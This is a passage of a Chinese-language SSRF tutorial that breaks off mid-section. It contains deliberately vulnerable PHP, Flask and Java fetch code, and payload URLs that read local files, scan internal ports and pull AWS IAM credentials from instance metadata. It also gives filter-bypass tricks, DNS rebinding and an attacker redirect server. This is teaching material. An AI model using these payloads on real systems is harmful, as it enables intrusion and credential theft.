\u534f\u8bae\u7ec4\u5408<\/td>\n<td>\u2605\u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n<tr>\n<td>\u5185\u7f51 Web \u653b\u51fb<\/td>\n<td>\u5229\u7528\u5df2\u77e5\u6f0f\u6d1e<\/td>\n<td>\u2605\u2605\u2605\u2605<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>1.7 \u5fc5\u8981\u7684\u524d\u7f6e\u77e5\u8bc6<\/h4>\n<ul>\n<li>\n<p>HTTP \u534f\u8bae&#xff1a;\u8bf7\u6c42\u65b9\u6cd5\u3001\u72b6\u6001\u7801\u3001Header<\/p>\n<\/li>\n<li>\n<p>URL \u7ed3\u6784&#xff1a;scheme:\/\/host:port\/path?query<\/p>\n<\/li>\n<li>\n<p>\u5185\u7f51 IP \u8303\u56f4&#xff1a;<\/p>\n<ul>\n<li>\n<p>10.0.0.0\/8&#xff08;A \u7c7b\u79c1\u7f51&#xff09;<\/p>\n<\/li>\n<li>\n<p>172.16.0.0\/12&#xff08;B \u7c7b\u79c1\u7f51&#xff09;<\/p>\n<\/li>\n<li>\n<p>192.168.0.0\/16&#xff08;C \u7c7b\u79c1\u7f51&#xff09;<\/p>\n<\/li>\n<li>\n<p>127.0.0.0\/8&#xff08;\u56de\u73af\u5730\u5740&#xff09;<\/p>\n<\/li>\n<li>\n<p>169.254.0.0\/16&#xff08;\u94fe\u8def\u672c\u5730&#xff0c;\u4e91\u5143\u6570\u636e&#xff09;<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u4e91\u5143\u6570\u636e\u5730\u5740&#xff1a;<\/p>\n<ul>\n<li>\n<p>AWS&#xff1a;169.254.169.254\/latest\/meta-data\/<\/p>\n<\/li>\n<li>\n<p>\u963f\u91cc\u4e91&#xff1a;100.100.100.200\/latest\/meta-data\/<\/p>\n<\/li>\n<li>\n<p>\u817e\u8baf\u4e91&#xff1a;169.254.169.254\/latest\/meta-data\/<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>Redis\/Memcached \u534f\u8bae&#xff1a;\u4e86\u89e3\u5185\u7f51\u670d\u52a1\u653b\u51fb\u539f\u7406<\/p>\n<\/li>\n<\/ul>\n<hr \/>\n<h3>\u7b2c\u4e8c\u7ae0&#xff1a;\u539f\u7406\u5256\u6790<\/h3>\n<h4>2.1 SSRF \u7684\u6570\u636e\u6d41<\/h4>\n<p>\u653b\u51fb\u8005\u6784\u9020 URL \u2192 \u670d\u52a1\u7aef\u53d1\u8d77\u8bf7\u6c42 \u2192 \u8bbf\u95ee\u5185\u7f51\/\u672c\u5730\u6587\u4ef6 \u2192 \u8fd4\u56de\u7ed3\u679c\u7ed9\u653b\u51fb\u8005<\/p>\n<h4>2.2 \u652f\u6301\u7684\u534f\u8bae\u8be6\u89e3<\/h4>\n<table>\n<tr>\u534f\u8bae\u80fd\u529bPHPJavaPython\u8bf4\u660e<\/tr>\n<tbody>\n<tr>\n<td>http:\/\/ \/ https:\/\/<\/td>\n<td>\u53d1\u8d77\u8bf7\u6c42&#xff08;SSRF\/\u63a2\u6d4b&#xff09;<\/td>\n<td>\u2705<\/td>\n<td>\u2705<\/td>\n<td>\u2705<\/td>\n<td>\u6700\u5e38\u89c1<\/td>\n<\/tr>\n<tr>\n<td>file:\/\/<\/td>\n<td>\u8bfb\u53d6\u672c\u5730\u6587\u4ef6<\/td>\n<td>\u2705<\/td>\n<td>\u2705<\/td>\n<td>\u2705<\/td>\n<td>\u8bfb\u914d\u7f6e\/\u5bc6\u94a5<\/td>\n<\/tr>\n<tr>\n<td>gopher:\/\/<\/td>\n<td>\u53d1\u9001\u4efb\u610f TCP \u6570\u636e<\/td>\n<td>\u2705<\/td>\n<td>\u90e8\u5206<\/td>\n<td>\u274c<\/td>\n<td>\u6253\u5185\u7f51\u670d\u52a1<\/td>\n<\/tr>\n<tr>\n<td>dict:\/\/<\/td>\n<td>\u63a2\u6d4b\u7aef\u53e3\/\u670d\u52a1<\/td>\n<td>\u2705<\/td>\n<td>\u274c<\/td>\n<td>\u274c<\/td>\n<td>\u7aef\u53e3\u626b\u63cf<\/td>\n<\/tr>\n<tr>\n<td>ftp:\/\/<\/td>\n<td>\u8bfb\u6587\u4ef6 \/ OOB \u5916\u5e26<\/td>\n<td>\u2705<\/td>\n<td>\u2705<\/td>\n<td>\u2705<\/td>\n<td>\u6570\u636e\u5916\u5e26<\/td>\n<\/tr>\n<tr>\n<td>php:\/\/filter<\/td>\n<td>PHP \u4f2a\u534f\u8bae\u8bfb\u6e90\u7801<\/td>\n<td>\u2705<\/td>\n<td>\u274c<\/td>\n<td>\u274c<\/td>\n<td>\u8bfb PHP \u6e90\u7801<\/td>\n<\/tr>\n<tr>\n<td>expect:\/\/<\/td>\n<td>\u6267\u884c\u547d\u4ee4<\/td>\n<td>\u2705<\/td>\n<td>\u274c<\/td>\n<td>\u274c<\/td>\n<td>\u9700 expect \u6269\u5c55<\/td>\n<\/tr>\n<tr>\n<td>netdoc:\/\/<\/td>\n<td>\u7c7b\u4f3c file<\/td>\n<td>\u274c<\/td>\n<td>\u2705<\/td>\n<td>\u274c<\/td>\n<td>Java \u7279\u6709<\/td>\n<\/tr>\n<tr>\n<td>ldap:\/\/<\/td>\n<td>LDAP \u67e5\u8be2<\/td>\n<td>\u2705<\/td>\n<td>\u2705<\/td>\n<td>\u2705<\/td>\n<td>\u2014<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>2.3 \u5e38\u89c1\u89e6\u53d1\u51fd\u6570<\/h4>\n<table>\n<tr>\u8bed\u8a00\u51fd\u6570\u8bf4\u660e<\/tr>\n<tbody>\n<tr>\n<td>PHP<\/td>\n<td>file_get_contents()<\/td>\n<td>\u8bfb\u53d6\u6587\u4ef6\/URL \u5185\u5bb9<\/td>\n<\/tr>\n<tr>\n<td>PHP<\/td>\n<td>curl_exec()<\/td>\n<td>cURL \u8bf7\u6c42<\/td>\n<\/tr>\n<tr>\n<td>PHP<\/td>\n<td>fopen() \/ fread()<\/td>\n<td>\u6253\u5f00\u6587\u4ef6\/URL<\/td>\n<\/tr>\n<tr>\n<td>PHP<\/td>\n<td>fsockopen()<\/td>\n<td>socket \u8fde\u63a5<\/td>\n<\/tr>\n<tr>\n<td>Python<\/td>\n<td>requests.get()<\/td>\n<td>HTTP \u8bf7\u6c42<\/td>\n<\/tr>\n<tr>\n<td>Python<\/td>\n<td>urllib.urlopen()<\/td>\n<td>URL \u6253\u5f00<\/td>\n<\/tr>\n<tr>\n<td>Python<\/td>\n<td>httplib.HTTPConnection<\/td>\n<td>HTTP \u8fde\u63a5<\/td>\n<\/tr>\n<tr>\n<td>Java<\/td>\n<td>URL.openConnection()<\/td>\n<td>URL \u8fde\u63a5<\/td>\n<\/tr>\n<tr>\n<td>Java<\/td>\n<td>HttpClient<\/td>\n<td>HTTP \u5ba2\u6237\u7aef<\/td>\n<\/tr>\n<tr>\n<td>Java<\/td>\n<td>RestTemplate<\/td>\n<td>REST \u8bf7\u6c42<\/td>\n<\/tr>\n<tr>\n<td>Node.js<\/td>\n<td>http.get()<\/td>\n<td>HTTP \u8bf7\u6c42<\/td>\n<\/tr>\n<tr>\n<td>Node.js<\/td>\n<td>axios.get()<\/td>\n<td>HTTP \u8bf7\u6c42<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>2.4 SSRF vs CSRF \u7684\u533a\u522b<\/h4>\n<table>\n<tr>SSRFCSRF<\/tr>\n<tbody>\n<tr>\n<td>\u8bf7\u6c42\u53d1\u8d77\u65b9<\/td>\n<td>\u670d\u52a1\u7aef<\/td>\n<td>\u7528\u6237\u6d4f\u89c8\u5668<\/td>\n<\/tr>\n<tr>\n<td>\u76ee\u6807<\/td>\n<td>\u5185\u7f51\u670d\u52a1<\/td>\n<td>\u76ee\u6807\u7f51\u7ad9<\/td>\n<\/tr>\n<tr>\n<td>\u653b\u51fb\u8005\u63a7\u5236<\/td>\n<td>\u76ee\u6807 URL<\/td>\n<td>\u7528\u6237\u8eab\u4efd<\/td>\n<\/tr>\n<tr>\n<td>\u80fd\u5426\u8bfb\u53d6\u54cd\u5e94<\/td>\n<td>\u2705&#xff08;\u90e8\u5206\u573a\u666f&#xff09;<\/td>\n<td>\u274c<\/td>\n<\/tr>\n<tr>\n<td>\u9632\u5fa1<\/td>\n<td>\u767d\u540d\u5355&#043;\u6821\u9a8cIP<\/td>\n<td>Token<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>2.5 \u4e3a\u4ec0\u4e48 gopher \u534f\u8bae\u5982\u6b64\u5f3a\u5927<\/h4>\n<p>gopher:\/\/ \u534f\u8bae\u662f SSRF \u7684\u7ec8\u6781\u6b66\u5668&#xff0c;\u56e0\u4e3a\u5b83\u53ef\u4ee5\u53d1\u9001\u4efb\u610f TCP \u6570\u636e\u5305&#xff1a;<\/p>\n<p>gopher:\/\/\u76ee\u6807IP:\u7aef\u53e3\/_TCP\u6570\u636e&#xff08;URL\u7f16\u7801&#xff09;<\/p>\n<p>_ \u662f gopher \u534f\u8bae\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u5360\u4f4d&#xff08;\u88ab\u5ffd\u7565&#xff09;&#xff0c;\u540e\u9762\u7684\u6570\u636e\u6309 TCP \u53d1\u9001\u7ed9\u76ee\u6807\u7aef\u53e3\u3002<\/p>\n<p>\u8fd9\u610f\u5473\u7740&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u53ef\u4ee5\u6a21\u62df Redis \u534f\u8bae \u2192 \u6253\u5185\u7f51 Redis<\/p>\n<\/li>\n<li>\n<p>\u53ef\u4ee5\u6a21\u62df MySQL \u534f\u8bae \u2192 \u6253\u5185\u7f51 MySQL<\/p>\n<\/li>\n<li>\n<p>\u53ef\u4ee5\u6a21\u62df HTTP \u534f\u8bae \u2192 \u53d1\u9001\u4efb\u610f HTTP \u8bf7\u6c42<\/p>\n<\/li>\n<li>\n<p>\u53ef\u4ee5\u6a21\u62df FastCGI \u534f\u8bae \u2192 \u6253 PHP-FPM<\/p>\n<\/li>\n<li>\n<p>\u53ef\u4ee5\u6a21\u62df SMTP \u534f\u8bae \u2192 \u53d1\u9001\u90ae\u4ef6<\/p>\n<\/li>\n<\/ul>\n<hr \/>\n<h3>\u7b2c\u4e09\u7ae0&#xff1a;\u6848\u4f8b\u6f14\u793a<\/h3>\n<h4>\u6848\u4f8b 1&#xff1a;\u56fe\u7247\u6293\u53d6 SSRF<\/h4>\n<p>\u6f0f\u6d1e\u4ee3\u7801 fetch.php&#xff1a;<\/p>\n<p>&lt;?php<br \/>\n$url &#061; $_GET[&#039;url&#039;]; \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0\/\/ \u274c \u7528\u6237\u53ef\u63a7\u76ee\u6807\u5730\u5740<br \/>\n$img &#061; file_get_contents($url); \u00a0 \u00a0 \u00a0 \u00a0\/\/ \u274c \u670d\u52a1\u7aef\u8bf7\u6c42\u4efb\u610f\u5730\u5740<br \/>\nheader(&#039;Content-Type: image\/jpeg&#039;);<br \/>\necho $img;<br \/>\n?&gt;<\/p>\n<p>\u57fa\u7840\u5229\u7528&#xff1a;<\/p>\n<p># 1. \u8bfb\u53d6\u672c\u5730\u6587\u4ef6&#xff08;file \u534f\u8bae&#xff09;<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;file:\/\/\/etc\/passwd<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;file:\/\/\/proc\/self\/environ<br \/>\n# \/proc\/self\/environ \u5305\u542b\u73af\u5883\u53d8\u91cf&#xff0c;\u53ef\u80fd\u542b\u6570\u636e\u5e93\u5bc6\u7801\u3001API \u5bc6\u94a5<br \/>\n\u200b<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;file:\/\/\/proc\/self\/cmdline<br \/>\n# \u8fdb\u7a0b\u542f\u52a8\u547d\u4ee4<br \/>\n\u200b<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;file:\/\/\/var\/www\/html\/config.php<br \/>\n# \u5e94\u7528\u914d\u7f6e\u6587\u4ef6&#xff08;\u542b\u6570\u636e\u5e93\u5bc6\u7801&#xff09;<br \/>\n\u200b<br \/>\n# 2. \u63a2\u6d4b\u5185\u7f51\u7aef\u53e3<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;http:\/\/127.0.0.1:22\/ \u00a0 \u00a0 \u00a0 \u00a0 # SSH<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;http:\/\/127.0.0.1:3306\/ \u00a0 \u00a0 \u00a0 # MySQL<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;http:\/\/127.0.0.1:6379\/ \u00a0 \u00a0 \u00a0 # Redis<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;http:\/\/127.0.0.1:8080\/ \u00a0 \u00a0 \u00a0 # Web \u5e94\u7528<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;http:\/\/127.0.0.1:9200\/ \u00a0 \u00a0 \u00a0 # Elasticsearch<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;http:\/\/127.0.0.1:11211\/ \u00a0 \u00a0 \u00a0# Memcached<br \/>\n\u200b<br \/>\n# 3. \u8bbf\u95ee\u5185\u7f51\u5e94\u7528<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;http:\/\/192.168.1.100:8080\/admin<br \/>\n\u200b<br \/>\n# 4. \u63a2\u6d4b\u5185\u7f51\u7f51\u6bb5<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;http:\/\/192.168.1.1\/<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;http:\/\/10.0.0.1\/<\/p>\n<p>\u5224\u65ad\u7aef\u53e3\u5b58\u6d3b\u7684\u65b9\u6cd5&#xff1a;<\/p>\n<table>\n<tr>\u54cd\u5e94\u7279\u5f81\u542b\u4e49<\/tr>\n<tbody>\n<tr>\n<td>\u5feb\u901f\u8fd4\u56de &#043; \u6b63\u5e38\u5185\u5bb9<\/td>\n<td>\u7aef\u53e3\u5f00\u653e &#043; HTTP \u670d\u52a1<\/td>\n<\/tr>\n<tr>\n<td>\u5feb\u901f\u8fd4\u56de &#043; \u7279\u6b8a\u9519\u8bef<\/td>\n<td>\u7aef\u53e3\u5f00\u653e &#043; \u975e HTTP \u670d\u52a1<\/td>\n<\/tr>\n<tr>\n<td>\u8fde\u63a5\u8d85\u65f6&#xff08;\u6162&#xff09;<\/td>\n<td>\u7aef\u53e3\u5173\u95ed\/\u88ab\u9632\u706b\u5899\u8fc7\u6ee4<\/td>\n<\/tr>\n<tr>\n<td>\u8fd4\u56de Redis \u9519\u8bef -ERR<\/td>\n<td>Redis \u670d\u52a1<\/td>\n<\/tr>\n<tr>\n<td>\u8fd4\u56de MySQL \u63e1\u624b\u5305<\/td>\n<td>MySQL \u670d\u52a1<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>\u6848\u4f8b 2&#xff1a;\u4e91\u5143\u6570\u636e\u6cc4\u9732&#xff08;AWS&#xff09;<\/h4>\n<p>AWS EC2 \u5b9e\u4f8b\u53ef\u901a\u8fc7 169.254.169.254 \u83b7\u53d6\u5b9e\u4f8b\u5143\u6570\u636e&#xff1a;<\/p>\n<p># \u83b7\u53d6\u5b9e\u4f8b\u57fa\u672c\u4fe1\u606f<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;http:\/\/169.254.169.254\/latest\/meta-data\/<br \/>\n\u200b<br \/>\n# \u5217\u51fa\u6240\u6709\u5143\u6570\u636e\u9879<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;http:\/\/169.254.169.254\/latest\/meta-data\/iam\/<br \/>\n\u200b<br \/>\n# \u83b7\u53d6 IAM \u89d2\u8272\u540d<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/<br \/>\n\u200b<br \/>\n# \u83b7\u53d6\u4e34\u65f6 AccessKey&#xff08;IMDSv1 \u53ef\u76f4\u63a5\u8bfb&#xff09;<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/{role-name}<\/p>\n<p>\u8fd4\u56de\u7684 JSON&#xff1a;<\/p>\n<p>{<br \/>\n \u00a0&#034;AccessKeyId&#034;: &#034;ASIA&#8230;&#034;,<br \/>\n \u00a0&#034;SecretAccessKey&#034;: &#034;wJalrXUt&#8230;&#034;,<br \/>\n \u00a0&#034;Token&#034;: &#034;IQoJb3Jp&#8230;&#034;,<br \/>\n \u00a0&#034;Expiration&#034;: &#034;2024-&#8230;&#034;<br \/>\n}<\/p>\n<p>\u653b\u51fb\u8005\u7528\u8fd9\u4e9b\u4e34\u65f6\u51ed\u8bc1\u76f4\u63a5\u64cd\u4f5c\u4e91\u8d44\u6e90\u2014\u2014\u8bfb S3\u3001\u542f\u52a8\u5b9e\u4f8b\u3001\u6a2a\u5411\u6e17\u900f\u3002<\/p>\n<p>\u5176\u4ed6\u4e91\u5e73\u53f0\u5143\u6570\u636e&#xff1a;<\/p>\n<table>\n<tr>\u4e91\u5e73\u53f0\u5730\u5740\u7279\u6b8a\u8981\u6c42<\/tr>\n<tbody>\n<tr>\n<td>AWS<\/td>\n<td>169.254.169.254\/latest\/meta-data\/<\/td>\n<td>IMDSv1 \u65e0\u9700 Token<\/td>\n<\/tr>\n<tr>\n<td>\u963f\u91cc\u4e91<\/td>\n<td>100.100.100.200\/latest\/meta-data\/<\/td>\n<td>\u2014<\/td>\n<\/tr>\n<tr>\n<td>\u817e\u8baf\u4e91<\/td>\n<td>169.254.169.254\/latest\/meta-data\/<\/td>\n<td>\u2014<\/td>\n<\/tr>\n<tr>\n<td>Google Cloud<\/td>\n<td>169.254.169.254\/computeMetadata\/v1\/<\/td>\n<td>\u9700 Metadata-Flavor: Google \u5934<\/td>\n<\/tr>\n<tr>\n<td>Azure<\/td>\n<td>169.254.169.254\/metadata\/instance<\/td>\n<td>\u9700 Metadata: true \u5934<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>\u6848\u4f8b 3&#xff1a;Python Flask SSRF<\/h4>\n<p>import requests<br \/>\nfrom flask import Flask, request, Response<br \/>\n\u200b<br \/>\napp &#061; Flask(__name__)<br \/>\n\u200b<br \/>\n&#064;app.route(&#039;\/proxy&#039;)<br \/>\ndef proxy():<br \/>\n \u00a0 \u00a0url &#061; request.args.get(&#039;url&#039;) \u00a0 \u00a0 \u00a0 # \u274c \u7528\u6237\u53ef\u63a7<br \/>\n \u00a0 \u00a0r &#061; requests.get(url) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u274c \u670d\u52a1\u7aef\u53d1\u8d77\u8bf7\u6c42<br \/>\n \u00a0 \u00a0return Response(r.content, mimetype&#061;r.headers.get(&#039;Content-Type&#039;))<br \/>\n\u200b<br \/>\n&#064;app.route(&#039;\/screenshot&#039;)<br \/>\ndef screenshot():<br \/>\n \u00a0 \u00a0url &#061; request.args.get(&#039;url&#039;)<br \/>\n \u00a0 \u00a0r &#061; requests.get(url) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 # \u274c requests \u652f\u6301 http\/https\/ftp<br \/>\n \u00a0 \u00a0return r.text<\/p>\n<h4>\u6848\u4f8b 4&#xff1a;dict \u534f\u8bae\u63a2\u6d4b<\/h4>\n<p># dict \u534f\u8bae\u53ef\u4ee5\u4e0e\u76ee\u6807\u7aef\u53e3\u5efa\u7acb TCP \u8fde\u63a5\u5e76\u53d1\u9001\u547d\u4ee4<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;dict:\/\/127.0.0.1:6379\/info<br \/>\n# \u7b49\u4ef7\u4e8e\u5411 Redis \u53d1\u9001 INFO \u547d\u4ee4<br \/>\n\u200b<br \/>\nhttp:\/\/victim.com\/fetch.php?url&#061;dict:\/\/127.0.0.1:11211\/stats<br \/>\n# \u63a2\u6d4b Memcached<\/p>\n<h4>\u6848\u4f8b 5&#xff1a;Java SSRF<\/h4>\n<p>URL url &#061; new URL(request.getParameter(&#034;url&#034;)); \u00a0\/\/ \u274c \u7528\u6237\u53ef\u63a7<br \/>\nURLConnection conn &#061; url.openConnection();<br \/>\nBufferedReader reader &#061; new BufferedReader(new InputStreamReader(conn.getInputStream()));<br \/>\nString line;<br \/>\nwhile ((line &#061; reader.readLine()) !&#061; null) {<br \/>\n \u00a0 \u00a0response.getWriter().println(line);<br \/>\n}<\/p>\n<p>Java \u7684 URL.openConnection() \u652f\u6301 http\u3001https\u3001file\u3001ftp\u3001jar\u3001netdoc \u7b49\u534f\u8bae\u3002<\/p>\n<hr \/>\n<h3>\u7b2c\u56db\u7ae0&#xff1a;\u5b9e\u6218\u8fdb\u9636<\/h3>\n<h4>4.1 \u672c\u5730\u9776\u573a\u642d\u5efa<\/h4>\n<p># SSRF \u9776\u573a&#xff08;\u5305\u542b\u5185\u7f51 Redis \u73af\u5883&#xff09;<br \/>\ndocker run -d -p 8080:80 -p 6379:6379 ssrf-test\/app<br \/>\n\u200b<br \/>\n# \u6216\u7528 Docker Compose \u81ea\u5efa<br \/>\ncat &gt; docker-compose.yml &lt;&lt; &#039;EOF&#039;<br \/>\nversion: &#039;3&#039;<br \/>\nservices:<br \/>\n  web:<br \/>\n \u00a0  image: php:7.4-apache<br \/>\n \u00a0  ports:<br \/>\n \u00a0 \u00a0 \u00a0&#8211; &#034;8080:80&#034;<br \/>\n \u00a0  volumes:<br \/>\n \u00a0 \u00a0 \u00a0&#8211; .\/fetch.php:\/var\/www\/html\/fetch.php<br \/>\n  redis:<br \/>\n \u00a0  image: redis:6<br \/>\n \u00a0  ports:<br \/>\n \u00a0 \u00a0 \u00a0&#8211; &#034;6379:6379&#034;<br \/>\nEOF<br \/>\n\u200b<br \/>\ndocker-compose up -d<br \/>\n\u200b<br \/>\n# Vulhub \u590d\u73b0\u771f\u5b9e CVE<br \/>\ncd vulhub\/&#8230;<br \/>\ndocker-compose up -d<\/p>\n<h4>4.2 \u7ed5\u8fc7 IP \u9650\u5236&#xff08;\u5b8c\u6574 10 \u79cd\u65b9\u6cd5&#xff09;<\/h4>\n<p>\u5f00\u53d1\u8005\u5e38\u8fc7\u6ee4 127.0.0.1\u3001localhost\u3001192.168&#xff0c;\u9ad8\u624b\u7528\u5404\u79cd\u7b49\u4ef7\u5f62\u5f0f\u7ed5\u8fc7&#xff1a;<\/p>\n<table>\n<tr>\u65b9\u6cd5\u793a\u4f8b\u8bf4\u660e<\/tr>\n<tbody>\n<tr>\n<td>\u5341\u8fdb\u5236 IP<\/td>\n<td>2130706433<\/td>\n<td>127.0.0.1 \u7684\u5341\u8fdb\u5236<\/td>\n<\/tr>\n<tr>\n<td>\u516b\u8fdb\u5236<\/td>\n<td>0177.0.0.1<\/td>\n<td>0177 &#061; 127<\/td>\n<\/tr>\n<tr>\n<td>\u5341\u516d\u8fdb\u5236<\/td>\n<td>0x7f.0x0.0x0.0x1<\/td>\n<td>0x7f &#061; 127<\/td>\n<\/tr>\n<tr>\n<td>\u6df7\u5408\u8fdb\u5236<\/td>\n<td>0177.0.0&#215;0.1<\/td>\n<td>\u5404\u6bb5\u53ef\u7528\u4e0d\u540c\u8fdb\u5236<\/td>\n<\/tr>\n<tr>\n<td>\u7701\u7565\u96f6<\/td>\n<td>127.1<\/td>\n<td>\u7b49\u4ef7 127.0.0.1<\/td>\n<\/tr>\n<tr>\n<td>IPv6<\/td>\n<td>[::1]<\/td>\n<td>\u56de\u73af\u5730\u5740<\/td>\n<\/tr>\n<tr>\n<td>IPv6 \u6620\u5c04<\/td>\n<td>[::ffff:127.0.0.1]<\/td>\n<td>IPv4 \u6620\u5c04\u7684 IPv6<\/td>\n<\/tr>\n<tr>\n<td>&#064; \u7b26\u53f7<\/td>\n<td>http:\/\/evil.com&#064;127.0.0.1<\/td>\n<td>URL \u4e2d &#064; \u524d\u4e3a\u7528\u6237\u540d<\/td>\n<\/tr>\n<tr>\n<td>\u77ed\u94fe\u63a5<\/td>\n<td>bit.ly\/xxx \u2192 127.0.0.1<\/td>\n<td>\u8df3\u8f6c<\/td>\n<\/tr>\n<tr>\n<td>DNS \u91cd\u7ed1\u5b9a<\/td>\n<td>\u57df\u540d\u89e3\u6790\u5230 127.0.0.1<\/td>\n<td>\u89c1\u4e0b\u6587<\/td>\n<\/tr>\n<tr>\n<td>302 \u8df3\u8f6c<\/td>\n<td>\u653b\u51fb\u8005\u670d\u52a1\u5668 302 \u8df3\u8f6c<\/td>\n<td>\u89c1\u4e0b\u6587<\/td>\n<\/tr>\n<tr>\n<td>URL \u7f16\u7801<\/td>\n<td>127.0.0.1 \u2192 %31%32%37%2e%30%2e%30%2e%31<\/td>\n<td>\u2014<\/td>\n<\/tr>\n<tr>\n<td>\u6dfb\u52a0\u7aef\u53e3<\/td>\n<td>http:\/\/127.0.0.1:80&#064;evil.com<\/td>\n<td>\u6df7\u6dc6<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u5341\u8fdb\u5236 IP \u8ba1\u7b97\u539f\u7406&#xff1a;<\/p>\n<p>127.0.0.1 &#061; 127\u00d7256\u00b3 &#043; 0\u00d7256\u00b2 &#043; 0\u00d7256 &#043; 1 &#061; 2130706433<\/p>\n<p>\u8bbf\u95ee http:\/\/2130706433\/ \u7b49\u4ef7\u4e8e http:\/\/127.0.0.1\/\u3002<\/p>\n<p>&#064; \u7b26\u53f7\u7ed5\u8fc7\u8be6\u89e3&#xff1a;<\/p>\n<p>http:\/\/evil.com&#064;127.0.0.1<br \/>\n \u00a0 \u00a0 \u00a0 \u00a0 \u2191 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u2191<br \/>\n \u00a0 \u00a0 \u7528\u6237\u540d\u90e8\u5206 \u00a0  \u5b9e\u9645\u76ee\u6807<br \/>\n\u200b<br \/>\nURL \u683c\u5f0f&#xff1a;scheme:\/\/user:pass&#064;host:port\/path<br \/>\n&#064; \u524d\u9762\u662f\u7528\u6237\u540d&#xff08;\u88ab\u5ffd\u7565&#xff09;&#xff0c;&#064; \u540e\u9762\u662f\u5b9e\u9645\u76ee\u6807<br \/>\n\u4f46\u6709\u4e9b\u6821\u9a8c\u53ea\u770b &#064; \u524d\u9762&#xff0c;\u8ba4\u4e3a\u662f evil.com \u2192 \u901a\u8fc7\u6821\u9a8c<br \/>\n\u5b9e\u9645\u8bf7\u6c42\u7684\u662f 127.0.0.1<\/p>\n<h4>4.3 DNS \u91cd\u7ed1\u5b9a\u8be6\u89e3<\/h4>\n<p>\u5f53\u670d\u52a1\u7aef\u5148\u6821\u9a8c\u57df\u540d\u89e3\u6790\u7684 IP&#xff0c;\u518d\u53d1\u8d77\u8bf7\u6c42\u65f6&#xff1a;<\/p>\n<p>1. \u653b\u51fb\u8005\u6ce8\u518c\u57df\u540d evil.com&#xff0c;DNS TTL \u8bbe\u4e3a 0<br \/>\n2. \u7b2c\u4e00\u6b21 DNS \u89e3\u6790&#xff1a;\u8fd4\u56de\u5408\u6cd5\u5916\u7f51 IP&#xff08;\u5982 1.2.3.4&#xff09;\u2192 \u901a\u8fc7\u670d\u52a1\u7aef\u6821\u9a8c<br \/>\n3. \u670d\u52a1\u7aef\u6821\u9a8c\u901a\u8fc7&#xff0c;\u51c6\u5907\u53d1\u8d77\u8bf7\u6c42<br \/>\n4. \u7b2c\u4e8c\u6b21 DNS \u89e3\u6790&#xff08;\u5b9e\u9645\u8bf7\u6c42\u65f6&#xff09;&#xff1a;\u8fd4\u56de 127.0.0.1<br \/>\n5. \u670d\u52a1\u7aef\u5b9e\u9645\u8bf7\u6c42 127.0.0.1&#xff08;\u5185\u7f51&#xff09;<\/p>\n<p>DNS \u91cd\u7ed1\u5b9a\u5de5\u5177&#xff1a;<\/p>\n<ul>\n<li>\n<p>rbndr.us \u2014 \u5728\u7ebf DNS \u91cd\u7ed1\u5b9a\u670d\u52a1<\/p>\n<\/li>\n<li>\n<p>ceye.io \u2014 DNSLog \u5e73\u53f0<\/p>\n<\/li>\n<\/ul>\n<p>\u9632\u5fa1&#xff1a;\u6821\u9a8c\u540e\u76f4\u63a5\u7528\u89e3\u6790\u5230\u7684 IP \u53d1\u8d77\u8fde\u63a5&#xff0c;\u4e0d\u8ba9\u8bf7\u6c42\u518d\u8d70 DNS\u3002<\/p>\n<h4>4.4 302 \u8df3\u8f6c\u7ed5\u8fc7<\/h4>\n<p>\u653b\u51fb\u8005\u642d\u5efa\u4e00\u4e2a\u670d\u52a1\u5668&#xff0c;\u8fd4\u56de 302 \u8df3\u8f6c\u5230\u5185\u7f51\u5730\u5740&#xff1a;<\/p>\n<p># attacker_server.py<br \/>\nfrom flask import Flask, redirect<br \/>\napp &#061; Flask(__name__)<br \/>\n\u200b<br \/>\n&#064;app.route(&#039;\/&#039;)<br \/>\ndef index():<br \/>\n \u00a0 \u00a0# \u8df3\u8f6c\u5230\u5185\u7f51\u5730\u5740<br \/>\n \u00a0 \u00a0return redirect(&#039;http:\/\/127.0.0.1:6379\/&#039;)<\/p>\n<p>\u653b\u51fb\u8005\u63d0\u4ea4 url&#061;http:\/\/attacker.com\/&#xff1a;<\/p>\n<li>\n<p>\u670d\u52a1\u7aef\u6821\u9a8c attacker.com \u7684 IP&#xff08;\u5408\u6cd5\u5916\u7f51 IP&#xff0c;\u901a\u8fc7\u6821\u9a8c&#xff09;<\/p>\n<\/li>\n<li>\n<p>\u670d\u52a1\u7aef\u8bf7\u6c42 attacker.com<\/p>\n<\/li>\n<li>\n<p>attacker.com 